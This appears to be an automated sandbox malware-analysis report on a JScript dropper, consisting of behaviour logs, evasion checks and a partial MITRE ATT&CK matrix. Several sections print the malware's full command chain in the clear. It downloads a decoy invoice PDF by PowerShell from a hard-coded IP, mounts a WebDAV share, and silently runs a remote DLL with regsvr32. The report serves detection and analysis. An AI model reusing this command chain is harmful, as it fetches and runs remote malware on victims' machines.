Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3347.js.csv");ITextStream.WriteLine(" entry:7661 f:fiqgcwiq");ITextStream.WriteLine(" exec:2 f:fiqgcwiq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4193			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5689			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6564	Thread sleep count: 4193 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6000	Thread sleep count: 5689 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2464	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2944	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5572	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3116	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2100658403.000001A7E91C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`6#
Source: net.exe, 00000007.00000002.2100658403.000001A7E922E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2097304199.000001A7E922E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3332114081.000001F50FE54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3330819219.000001F50A82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`c

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
